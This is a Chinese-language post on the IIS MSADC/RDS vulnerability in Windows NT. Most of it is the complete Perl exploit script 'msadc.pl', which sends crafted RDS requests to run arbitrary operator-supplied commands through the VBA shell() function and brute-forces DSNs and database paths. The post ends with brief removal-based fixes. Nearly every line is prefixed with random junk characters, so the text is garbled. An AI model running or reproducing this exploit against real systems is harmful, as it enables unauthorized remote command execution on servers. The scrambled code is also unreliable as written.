IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
;!pSYcT, )MeeF-Ad6 涉及程序：
cm17hPe`}n Microsoft NT server
e N^6gub K9QC$b9( 描述：
WPDi)U X 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;D|g5$OE& EYS BC", 详细：
:CGh$d] + 如果你没有时间读详细内容的话，就删除:
Ci$?Hm 9 n c:\Program Files\Common Files\System\Msadc\msadcs.dll
bsv!z\} 有关的安全问题就没有了。
a/TeBx#yG 8iUYZF 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
,w% hD* t~M0_TnXlP 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Ctx{rf_~ 关于利用ODBC远程漏洞的描述，请参看:
ukc<yc].+? J xsch\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |Ng}ZLBM E~
+g6YlT 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
g=e~YM85 http://www.microsoft.com/security/bulletins/MS99-025faq.asp
& Y jUoe x:iLBYf 这里不再论述。
N?v}\ P U MuF{STE>-> 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
;(
[^ +_/ zbAyYMtEk
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-Ra-Ux 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
UT VqoCHA j2s{rQQ )St`}qu; #将下面这段保存为txt文件，然后: "perl -x 文件名"
#'8'5b ^\g?uH6k U #!perl
Bmv5yc+; #
.f9&.H# # MSADC/RDS 'usage' (aka exploit) script
hxkwT #
h~5gHx/ a # by rain.forest.puppy
$f AZ^ #
(05a 9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-=GmI1:=$4 # beta test and find errors!
.TO#\!KBv YQ`8 8 z use Socket; use Getopt::Std;
^_t7{z%sA[ getopts("e:vd:h:XR", \%args);
h VW1l&s K>_~|ZN1C8 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
G;AJBs>Y} U*\ 1d if (!defined $args{h} && !defined $args{R}) {
JZ)w print qq~
7_`_iymR Usage: msadc.pl -h <host> { -d <delay> -X -v }
juEH$7N ! -h <host> = host you want to scan (ip or domain)
C}]143 a/Q -d <seconds> = delay between calls, default 1 second
IgEVz^W?h -X = dump Index Server path table, if available
8=-#LVo~c -v = verbose
eE" *c>I -e = external dictionary file for step 5
2`A\'SM'4 AA5 UOg\jI Or a -R will resume a command session
B pp(5 WDF6.i ? ~; exit;}
]F
s r k Q*8efzgs| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HXgf=R/$ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
z6Zd/mt~x if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
P\&n0C ~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>:|jds # $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7~H"m/;U& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
a0PClbf2. +HEL ^ if (!defined $args{R}){ $ret = &has_msadc;
,'byJlw_pv die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
zc OG[- q OV$4[r print "Please type the NT commandline you want to run (cmd /c assumed):\n"
V L C=>w\, . "cmd /c ";
22 R
, $in=<STDIN>; chomp $in;
>'v {o{k|C $command="cmd /c " . $in ;
"@ L|Z6U( T1c & 3 if (defined $args{R}) {&load; exit;}
GRAPv|u9[ -#
/'^O +% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
: 2A\X' @ &try_btcustmr;
~vKDB$2 / ;WFRp. print "\nStep 2: Trying to make our own DSN...";
$?y\3G X &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
uo3o[ H&# gH/( 4h print "\nStep 3: Trying known DSNs...";
<*z9:jz Q &known_dsn;
e7n` fEpO bdj')%@n print "\nStep 4: Trying known .mdbs...";
* & : J &known_mdb;
W.> }5uVl6 Vo 9Fl Yj if (defined $args{e}){
8*E qG5OP print "\nStep 5: Trying dictionary of DSN names...";
K<p)-q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
9^@#Ua u(~( + 1W print "Sorry Charley...maybe next time?\n";
!B R@"%hx exit;
&"=<w &?^"m\K4J* ##############################################################################
@gi / 1 cq 6JD ~G\$ sub sendraw { # ripped and modded from whisker
95*=& d sleep($delay); # it's a DoS on the server! At least on mine...
7upN:7D- my ($pstr)=@_;
|M|>/U 8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
bf/z
T0 die("Socket problems\n");
Xb c:Vr if(connect(S,pack "SnA4x8",2,80,$target)){
=W"9a\m select(S); $|=1;
Oe&gTXo print $pstr; my @in=<S>;
qjH/E6GGg select(STDOUT); close(S);
HJ!P]X_J1 return @in;
WnQ+ } else { die("Can't connect...\n"); }}
?-=< 7
~$ %) =c# H1 ##############################################################################
>(F y6m VujIKc#4 sub make_header { # make the HTTP request
m">2XGCn my $msadc=<<EOT
yK w.69. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
vgN%vw pL User-Agent: ACTIVEDATA
]QKKt vN Host: $ip
O[ug7\cl+ Content-Length: $clen
mBDzc(_\$' Connection: Keep-Alive
W"H (HA &'c&B 0 j ADCClientVersion:01.06
F+/#ug I Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4]no#lVRJ *C,1 x5 --!ADM!ROX!YOUR!WORLD!
FLQ>,=O Content-Type: application/x-varg
4^k+wQU Content-Length: $reqlen
dQI6.$? moE!~IroG EOT
R?8/qGSVqJ ; $msadc=~s/\n/\r\n/g;
nQd~i0`vB return $msadc;}
3e1^r_YI T *rz#O ##############################################################################
DS=Dg@y Bo ofJ m sub make_req { # make the RDS request
?'^yw C` my ($switch, $p1, $p2)=@_;
U\6Ee-1#_ my $req=""; my $t1, $t2, $query, $dsn;
h-5] nL3 uwu`ms7z 2 if ($switch==1){ # this is the btcustmr.mdb query
`}#n#C) $query="Select * from Customers where City=" . make_shell();
}h=3[pe} $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
` FAZA C\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
y>&
s; iM~qSRb#mJ elsif ($switch==2){ # this is general make table query
#yOn / $query="create table AZZ (B int, C varchar(10))";
f&?
8fB8{ $dsn="$p1";}
Gy!bPVe h/7_I uD elsif ($switch==3){ # this is general exploit table query
Y"E*#1/ $query="select * from AZZ where C=" . make_shell();
,ZvlK N $dsn="$p1";}
2 P9 {?Y 9.Yn]O elsif ($switch==4){ # attempt to hork file info from index server
}kMKA.O" $query="select path from scope()";
0 f"la=6 $dsn="Provider=MSIDXS;";}
>(a[b@ [K <' vtnz elsif ($switch==5){ # bad query
**F-#", $query="select";
I1W~;2cK $dsn="$p1";}
goc"+ K NQ,2pM<*- $t1= make_unicode($query);
cL: hjr" $t2= make_unicode($dsn);
3j w4# GW $req = "\x02\x00\x03\x00";
yi,Xs|%. $req.= "\x08\x00" . pack ("S1", length($t1));
xDIl $req.= "\x00\x00" . $t1 ;
L4{+@T1A[ $req.= "\x08\x00" . pack ("S1", length($t2));
1V ; ,ZGI* $req.= "\x00\x00" . $t2 ;
]9~6lx3/ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
^2uT!<2 return $req;}
o.])5i_HV 2Y%E.){ ##############################################################################
%R?#Y1Tq; 3.@ir"vy sub make_shell { # this makes the shell() statement
j\2q2_f return "'|shell(\"$command\")|'";}
D >K=D " K<f B]44Y ##############################################################################
'V} 4_3#q tFX!s; N[ sub make_unicode { # quick little function to convert to unicode
WP4 "$W my ($in)=@_; my $out;
X,`e1nsR for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
O:+?:aI@ return $out;}
wg|/-q- WR}<^a x ##############################################################################
sF1j4 N C 4?l:.\fB: sub rdo_success { # checks for RDO return success (this is kludge)
XvkFP'%i/ my (@in) = @_; my $base=content_start(@in);
c)zwyBz if($in[$base]=~/multipart\/mixed/){
Z)G@ahO Q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
77;|PKE / return 0;}
E 7"`D\* :tX, `G ##############################################################################
x d^9R< (BY5omlh sub make_dsn { # this makes a DSN for us
YT)@&HaF my @drives=("c","d","e","f");
lVS.XQ2< print "\nMaking DSN: ";
D*!9K8<o foreach $drive (@drives) {
%Sw hNn print "$drive: ";
DTC OhUIV my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
wE#z)2?`\ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
M(<.f}yZQ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
n4/Jx* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{Zf 9}
!qF return 0 if $2 eq "404"; # not found/doesn't exist
_yc &'Wq if($2 eq "200") {
? 9;r|G foreach $line (@results) {
g UA_&_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
[u7i)fn5? } return 0;}
AI2@VvB Kl w9 ##############################################################################
P
yN{ zE]h] $oi sub verify_exists {
= Y-mc#{8 my ($page)=@_;
b!z kQ?h my @results=sendraw("GET $page HTTP/1.0\n\n");
>e QFY^d5 return $results[0];}
O8 5) ^ Y$ '6p."= ##############################################################################
o7v, :e: 9oxn-) 6JC sub try_btcustmr {
qp2&Z8S\D my @drives=("c","d","e","f");
&#<>fT_ my @dirs=("winnt","winnt35","winnt351","win","windows");
i>z {QE ^MUvd foreach $dir (@dirs) {
_r vO#h print "$dir -> "; # fun status so you can see progress
kTm>`.kKJ= foreach $drive (@drives) {
tQcn%C K print "$drive: "; # ditto
3/4r\%1b+ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
<6!/B[!O= $reqlenlen=length( "$reqlen" );
X5c)T}pyv $clen= 206 + $reqlenlen + $reqlen;
3zo:)N \K WXCZ
}l my @results=sendraw(make_header() . make_req(1,$drive,$dir));
| gP%8nh'C if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
+%LR1+/%b else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
G*rlU 1g_Dkv|D ##############################################################################
y!jq!faqt MLt'tzgl sub odbc_error {
n{xL1A=9 my (@in)=@_; my $base;
yIma 7H@=L my $base = content_start(@in);
S3> <zGYk if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&9\8IR > $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e2L4E8ST< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qruv^#_l $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y %@a~| return $in[$base+4].$in[$base+5].$in[$base+6];}
{[[/*1r| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
9u] "($ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&``nYI g/ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
T#-U\C~o @;h$!w< ##############################################################################
fb D `8G {-_ sub verbose {
OQh4 MN#$ my ($in)=@_;
XJZ S}Z7h return if !$verbose;
z9HUI5ns print STDOUT "\n$in\n";}
v?`DP kr>F=|R] ##############################################################################
TV*@h2C"i E{}Vi>@V? sub save {
03a<Cd/S my ($p1, $p2, $p3, $p4)=@_;
z*G(AcS) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
2t`d. s= print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
R![4|FR close OUT;}
z;6,, vlh$NK+F ##############################################################################
qt4^e7 o 0M|Jvw'n| sub load {
!r`/vQ # my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
R]"3^k* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
g\=e86 @p=<IN>; close(IN);
PR~9*#"v.. $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
s)j3 +@:# $target= inet_aton($ip) || die("inet_aton problems");
n_@cjO print "Resuming to $ip ...";
pEX|zee $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
{qL}:ha? if($p[1]==1) {
b0
y*} $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Gc{s?rB_ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\wx Lt}T-Q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
-9^A,vX if (rdo_success(@results)){print "Success!\n";}
@]X5g8h else { print "failed\n"; verbose(odbc_error(@results));}}
$gysy!2}. elsif ($p[1]==3){
]%Z7wF</ if(run_query("$p[3]")){
MNd[Xzm print "Success!\n";} else { print "failed\n"; }}
(5Sv$Xt elsif ($p[1]==4){
?qR11A};tG if(run_query($drvst . "$p[3]")){
' uU{.bq print "Success!\n"; } else { print "failed\n"; }}
lbiMB~rwI exit;}
(K3 eb dIOi P\^ ##############################################################################
kyu
PN<?
+z?SK c sub create_table {
H: _R[u4r my ($in)=@_;
6>j0geFyE2 $reqlen=length( make_req(2,$in,"") ) - 28;
to# N>VfD $reqlenlen=length( "$reqlen" );
fE,Io3 $clen= 206 + $reqlenlen + $reqlen;
FFpG>+ *3 my @results=sendraw(make_header() . make_req(2,$in,""));
Jj,fdP#\ return 1 if rdo_success(@results);
hvOl9 W> my $temp= odbc_error(@results); verbose($temp);
^=7XA894 return 1 if $temp=~/Table 'AZZ' already exists/;
i'`[dwfS return 0;}
R&9Q#n- OGn-~
#E ##############################################################################
!\/J| ~XZ G2 !J`} sub known_dsn {
@szr '&\%A # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&Ahk P =Yw my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
zHk7!|%Y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
TI}Y U "banner", "banners", "ads", "ADCDemo", "ADCTest");
hLF ;MH@ B):hm foreach $dSn (@dsns) {
Ym$=^f]- print ".";
y$U(oIU> next if (!is_access("DSN=$dSn"));
FgTWym_ if(create_table("DSN=$dSn")){
`F4gal^ ^ print "$dSn successful\n";
n5;>e& if(run_query("DSN=$dSn")){
9jW"83*5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#0'%51Jcl print "Something's borked. Use verbose next time\n";}}} print "\n";}
#7|73&u( $&jte_hv ##############################################################################
p@iU9K\, ^]ig*oS\` sub is_access {
"]ZDs^7 my ($in)=@_;
:FX|9h $reqlen=length( make_req(5,$in,"") ) - 28;
O7lFg;9c` $reqlenlen=length( "$reqlen" );
a+P Vi $clen= 206 + $reqlenlen + $reqlen;
vz3#.a~2 my @results=sendraw(make_header() . make_req(5,$in,""));
?yy,3 : my $temp= odbc_error(@results);
j6DI$tV~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
p^*A&7d:P return 0;}
Q$8&V}jVW z` (">J ##############################################################################
0UOjk.~b o Je`]_XZ sub run_query {
eH^ ~r{{R my ($in)=@_;
M}x]\#MMY $reqlen=length( make_req(3,$in,"") ) - 28;
@"__2\ 0 $reqlenlen=length( "$reqlen" );
Am"e% |: $clen= 206 + $reqlenlen + $reqlen;
<db>~@;X! my @results=sendraw(make_header() . make_req(3,$in,""));
`PS>"-AY2 return 1 if rdo_success(@results);
w '7=CzfYn my $temp= odbc_error(@results); verbose($temp);
5Sx.'o$ return 0;}
vXT>Dc2\! 3V%ts7: a ##############################################################################
|VQmB/a Sky X\& sub known_mdb {
hD9b2KZv my @drives=("c","d","e","f","g");
SaSj9 \o my @dirs=("winnt","winnt35","winnt351","win","windows");
'ZAl7k . my $dir, $drive, $mdb;
,v_NrX=f? my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)>I-j$%=2 W.Z`kH *B # this is sparse, because I don't know of many
U6F1QLSLz my @sysmdbs=( "\\catroot\\icatalog.mdb",
Cxra(!& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"? ON0u9 "\\system32\\certmdb.mdb",
5 %RiM|+ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
z4{ :X Da yoG*c%3V? my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4}F~h "\\cfusion\\cfapps\\forums\\forums_.mdb",
yZkS
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{ 3!E8~ "\\cfusion\\cfapps\\security\\realm_.mdb",
t[o_!fmxZ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
a6!|#rt "\\cfusion\\database\\cfexamples.mdb",
t4Pi <m:7 "\\cfusion\\database\\cfsnippets.mdb",
D`3`5.b "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
I'0{Q`} "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
l;i /$Yu7 "\\cfusion\\brighttiger\\database\\cleam.mdb",
~Xz?H=}U+ "\\cfusion\\database\\smpolicy.mdb",
9nS fFGu "\\cfusion\\database\cypress.mdb",
bk:mk[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
KvXF zx|A "\\website\\cgi-win\\dbsample.mdb",
-; *lcY* "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
y~^-I5!_ u "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
$rm/{i_7 ); #these are just
P7\?WN$p foreach $drive (@drives) {
wEC ,Mbn foreach $dir (@dirs){
a!B"WNb+ foreach $mdb (@sysmdbs) {
@7 K(_Wd print ".";
pT/z`o$#V if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
B}0!b7! print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
q5{h@}|M if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
+
f,Kt9Cy print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
uR6 `@F } else { print "Something's borked. Use verbose next time\n"; }}}}}
lR R A2Kql <nc6 &+ foreach $drive (@drives) {
vwAtX($
foreach $mdb (@mdbs) {
Q) =LbR{# print ".";
L}6!D zl if(create_table($drv . $drive . $dir . $mdb)){
9 qUkw&}H print "\n" . $drive . $dir . $mdb . " successful\n";
mM.YZUX if(run_query($drv . $drive . $dir . $mdb)){
5i+cjT 2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-tfUkGdx;l } else { print "Something's borked. Use verbose next time\n"; }}}}
yt<h!k$ _P }
DJ"PP 5d \Aw kK3 ##############################################################################
01?+j%k=m/ aoey
5hts sub hork_idx {
Gm B&TD m print "\nAttempting to dump Index Server tables...\n";
L(;$(k-/( print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
O{ l4 f:51 $reqlen=length( make_req(4,"","") ) - 28;
]:gW+6w"C $reqlenlen=length( "$reqlen" );
Ok_}d&A $clen= 206 + $reqlenlen + $reqlen;
]< ^2B?} my @results=sendraw2(make_header() . make_req(4,"",""));
Ah2 {kK if (rdo_success(@results)){
&gp&i?%X9b my $max=@results; my $c; my %d;
i{6&/TBnr for($c=19; $c<$max; $c++){
" UTW(~D' $results[$c]=~s/\x00//g;
Jo { :]: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
r'*$'QY-N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
w7@`:W $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
N#ggT9>X $d{"$1$2"}="";}
B.; qvuM~ foreach $c (keys %d){ print "$c\n"; }
H'k}/<%Q } else {print "Index server doesn't seem to be installed.\n"; }}
\n[kzi7 V CWW(Y1Fd ##############################################################################
>aAM&4 eNd&47lJ sub dsn_dict {
h+W$\T) open(IN, "<$args{e}") || die("Can't open external dictionary\n");
'f 6H#V*C
while(<IN>){
@[g7\d $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
q- `& C next if (!is_access("DSN=$dSn"));
SZKYq8ZA)V if(create_table("DSN=$dSn")){
~, } |~ print "$dSn successful\n";
Cy[G7A% if(run_query("DSN=$dSn")){
p*b_ "aF 1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9G/!18 X?f print "Something's borked. Use verbose next time\n";}}}
w0~%,S print "\n"; close(IN);}
$ 2a"Ec!7 tDRR 3=9pX ##############################################################################
]6e(-v!U XkA] 9,@ sub sendraw2 { # ripped and modded from whisker
r? /Uu
& sleep($delay); # it's a DoS on the server! At least on mine...
{ U;y W) my ($pstr)=@_;
x-[I tJ% l socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
FoetP`
die("Socket problems\n");
01'>[h#_n if(connect(S,pack "SnA4x8",2,80,$target)){
MDlH[PJ@i print "Connected. Getting data";
M.Yp'Av open(OUT,">raw.out"); my @in;
C 7C4
eW8 select(S); $|=1; print $pstr;
ooVs8T 2 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
9ngxkOGx close(OUT); select(STDOUT); close(S); return @in;
'{ _ X1 } else { die("Can't connect...\n"); }}
D./{f 8 GeP={lj ##############################################################################
O^cC+@l!4 qnp}#BZ sub content_start { # this will take in the server headers
iAz0 A my (@in)=@_; my $c;
fmixWL7.Zg for ($c=1;$c<500;$c++) {
jfMk N if($in[$c] =~/^\x0d\x0a/){
qx ki if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
(I~ else { return $c+1; }}}
n[Q(q[ULV return -1;} # it should never get here actually
r-y;"h' _Ay^v#a ##############################################################################
q SNCBn ' UQDAql sub funky {
MKfK9>a my (@in)=@_; my $error=odbc_error(@in);
pT|s#-} if($error=~/ADO could not find the specified provider/){
G=zNZ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Eiu/p&ct exit;}
2K9X (th1 if($error=~/A Handler is required/){
@/s|<* print "\nServer has custom handler filters (they most likely are patched)\n";
5?^#v exit;}
r]!#v{#. if($error=~/specified Handler has denied Access/){
k ;^$Pd?t print "\nServer has custom handler filters (they most likely are patched)\n";
Uoe{,4T exit;}}
4:/V|E\D 4gen,^ Ij ##############################################################################
^.6yzlY )g'J'_Sl sub has_msadc {
V*@a E my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
5REFz my $base=content_start(@results);
j,.M!q] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
p3Ux%/ZqPV return 0;}
Z PH_s^ 2p&$b f t ########################
<YW)8J Z{ B
e W4o8]&A 解决方案：
fn,n 'E] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
: 6Nb,Hh~ 2、移除web 目录: /msadc
